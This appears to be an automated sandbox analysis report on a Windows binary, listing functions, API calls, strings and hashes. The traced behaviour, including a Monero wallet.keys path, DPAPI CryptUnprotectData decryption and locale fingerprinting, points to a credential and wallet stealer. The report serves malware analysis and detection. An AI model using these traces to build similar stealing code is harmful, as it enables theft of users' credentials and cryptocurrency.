Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Strings

\*.*, xrefs: 00A417F1

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 645fc0a877d5a853c4a78e1dd68484af87faea54f7d61b52e4717aa016df5f9c
Instruction ID: 413b22e6cc2351df2aab50a8e7c5a3fa96f08cd7779ab9bd54a8bfa15327ce5a
Opcode Fuzzy Hash: 645fc0a877d5a853c4a78e1dd68484af87faea54f7d61b52e4717aa016df5f9c
Instruction Fuzzy Hash: CF12E271A10118ABDB15FB60DD96EEE7378BF64301F404699B90A66091EF306F8DCFA1

Function 00A4DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00A60C2E), ref: 00A4DE5E
StrCmpCA.SHLWAPI(?,00A614C8), ref: 00A4DEAE
StrCmpCA.SHLWAPI(?,00A614CC), ref: 00A4DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4E3E0
FindClose.KERNEL32(000000FF), ref: 00A4E3F2

Strings

\*.*, xrefs: 00A4DE26

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 011a01c888d2925f07901651472adcc74e8667c96e69b34de6d143837f7c3f5a
Instruction ID: 8d6f5c307cf827be5c2bf31fc22fdaf0d69d3e384313e1fbe80592b27da0f714
Opcode Fuzzy Hash: 011a01c888d2925f07901651472adcc74e8667c96e69b34de6d143837f7c3f5a
Instruction Fuzzy Hash: 85F18F71A141189ADB15FB60DD95EEE7338BF64301F8046D9B90A62091EF306F8ECF66

Function 00DFDCDA Relevance: 14.1, Strings: 10, Instructions: 1578COMMON

Download Yara Rule

Strings

_?o, xrefs: 00DFDE93
!d], xrefs: 00DFEC8C
)(nz, xrefs: 00DFEC9D
N&q/, xrefs: 00DFEC72
9Fu}, xrefs: 00DFE719
a/, xrefs: 00DFEB30
QrO, xrefs: 00DFDFD9
Au_?, xrefs: 00DFE564
^\?E, xrefs: 00DFE611
7E:, xrefs: 00DFE872

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !d]$)(nz$7E:$9Fu}$Au_?$N&q/$QrO$^\?E$a/$_?o
API String ID: 0-4131716743
Opcode ID: f5878ca884986541d42ec6c00de436c78796a921bde16fa61b32068dcb6c7ced
Instruction ID: 6b94bd65de020cca85ccec797f15bd67fbbb083cc572278fad543d4704d1ea97
Opcode Fuzzy Hash: f5878ca884986541d42ec6c00de436c78796a921bde16fa61b32068dcb6c7ced
Instruction Fuzzy Hash: DFB2C5F3A0C2009FE314AE2DEC8566ABBE9EF94720F16893DE6C4C7744E63558058797

Function 00A4DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A614B0,00A60C2A), ref: 00A4DAEB
StrCmpCA.SHLWAPI(?,00A614B4), ref: 00A4DB33
StrCmpCA.SHLWAPI(?,00A614B8), ref: 00A4DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4DDCC
FindClose.KERNEL32(000000FF), ref: 00A4DDDE

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 1430105291274a313b7632c5b47e6cb41770fa116a85c1194b9945f694e6429d
Instruction ID: d8f33e69f9364072a3195df8f0a9b25dc98ec09dd2317bcef3406e3ba6d0e54c
Opcode Fuzzy Hash: 1430105291274a313b7632c5b47e6cb41770fa116a85c1194b9945f694e6429d
Instruction Fuzzy Hash: 96914476A00104ABDB14FB70DD96AED777CBBD8301F408659FD0A96181FE349B4D8B92

Function 00E0B11B Relevance: 11.6, Strings: 8, Instructions: 1616COMMON

Download Yara Rule

Strings

T"=, xrefs: 00E0C228
isw, xrefs: 00E0B7BC
s+=, xrefs: 00E0BF67
![, xrefs: 00E0BCBE
&G~, xrefs: 00E0BAB7
zXi, xrefs: 00E0C4A0
6?~~, xrefs: 00E0C051
awo, xrefs: 00E0C189

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: s+=$![$&G~$6?~~$T"=$awo$isw$zXi
API String ID: 0-1048270282
Opcode ID: 5d9b545667148d0294a5fc7d588a4039bd1502826df8ee229b65d17b6966ad05
Instruction ID: 0dcdf746f22c531862be08f23d49b7c3e82b47f4ec88597e8ffab0de6d0ac9e5
Opcode Fuzzy Hash: 5d9b545667148d0294a5fc7d588a4039bd1502826df8ee229b65d17b6966ad05
Instruction Fuzzy Hash: D0B219F3A086049FE3046E2DEC8567AFBE9EF94720F1A493DEAC4C3744E53598058796

Function 00A57B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

GetKeyboardLayoutList.USER32(00000000,00000000,00A605AF), ref: 00A57BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00A57BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00A57C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00A57C62
LocalFree.KERNEL32(00000000), ref: 00A57D22

Strings

/ , xrefs: 00A57C7F

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 30a5ed722a4fa053f4a3da96d412fe6d16e390a6344727f65cfec1717fcb6bb6
Instruction ID: 74e227d5726ecdb8d7263eddeaa813d49dac0f9b9e0218c0134efd48a64c7e1f
Opcode Fuzzy Hash: 30a5ed722a4fa053f4a3da96d412fe6d16e390a6344727f65cfec1717fcb6bb6
Instruction Fuzzy Hash: B1413D71A40218ABDB24DB94DD99BEEB778FF54701F2042D9E80962191DB342F89CFA1

Function 00E06251 Relevance: 10.4, Strings: 7, Instructions: 1626COMMON

Download Yara Rule

Strings

1*6v, xrefs: 00E072E9
c~^, xrefs: 00E063CD
eh_z, xrefs: 00E06838
_5?w, xrefs: 00E06E22
a6U_, xrefs: 00E06580
ya_I, xrefs: 00E06852
'`>?, xrefs: 00E064D7

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: c~^$'`>?$1*6v$_5?w$a6U_$eh_z$ya_I
API String ID: 0-1569725176
Opcode ID: 7dd79ada3a1fae340914412c778fbf8a7a4778ae0951682ad9aac2806f47bab0
Instruction ID: 14ddd8cdb544cd2eae5b02cb79906a40eb4beaacea9a82a640de3612c061c813
Opcode Fuzzy Hash: 7dd79ada3a1fae340914412c778fbf8a7a4778ae0951682ad9aac2806f47bab0
Instruction Fuzzy Hash: D6B218F350C2049FE704AE2DEC8567ABBE9EF94720F1A493DEAC5C3344EA3558058697

Function 00E097E0 Relevance: 10.3, Strings: 7, Instructions: 1535COMMON

Download Yara Rule

Strings

:=>, xrefs: 00E0A5DE
hB', xrefs: 00E0998C
`p!Z, xrefs: 00E09C41
yQ7~, xrefs: 00E09EB0
$^+?, xrefs: 00E09C0F
op~{, xrefs: 00E09F6C
N.5^, xrefs: 00E09DF1

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $^+?$:=>$N.5^$`p!Z$hB'$op~{$yQ7~
API String ID: 0-1260419190
Opcode ID: f856de9e43874260b8084e5b9f506ce8bda840bff019684311d9efc1f27bab2e
Instruction ID: c8b6b85b69544ad63a13b96069a782e99999cb39cb88d1e299f99c5de8eb6723
Opcode Fuzzy Hash: f856de9e43874260b8084e5b9f506ce8bda840bff019684311d9efc1f27bab2e
Instruction Fuzzy Hash: C6A2F7F3608204AFE3046F2DEC85A7AFBE5EF94720F16893DEAC487744E63558058697

Function 00A4E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00A60D73), ref: 00A4E4A2
StrCmpCA.SHLWAPI(?,00A614F8), ref: 00A4E4F2
StrCmpCA.SHLWAPI(?,00A614FC), ref: 00A4E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4EBDF

Strings

\*.*, xrefs: 00A4E44D

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 4275bfd09db450f2bc2631d23e74827d11c0695724ff23d6c012d30f33e32166
Instruction ID: 28cc35f194b914790e153c6a9755199985428dd9ff2c557bc1f1375e2bd4380d
Opcode Fuzzy Hash: 4275bfd09db450f2bc2631d23e74827d11c0695724ff23d6c012d30f33e32166
Instruction Fuzzy Hash: 0412E072B101189ADB14FB60DE96EED7378BF64301F4046A9B90B96091EE346F4DCB92

Function 00A4C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00A4C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00A4C87C
lstrcat.KERNEL32(?,00A60B46), ref: 00A4C943
lstrcat.KERNEL32(?,00A60B47), ref: 00A4C957
lstrcat.KERNEL32(?,00A60B4E), ref: 00A4C978

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 7643fec22a087c201ff18e6a61c50ce58c44e357b25287ec4c37932b50deddca
Instruction ID: 2720ff036cdbad98f69841c62871639a2290eba3789d4e8306b66a356baf688f
Opcode Fuzzy Hash: 7643fec22a087c201ff18e6a61c50ce58c44e357b25287ec4c37932b50deddca
Instruction Fuzzy Hash: 0B41607990421AEFDB10DF90DD89BFEB7B8BB48304F1045A9F509A62C0D7745A84CF95

Function 00A47240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00A4724D
RtlAllocateHeap.NTDLL(00000000), ref: 00A47254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00A47281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00A472A4
LocalFree.KERNEL32(?), ref: 00A472AE

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
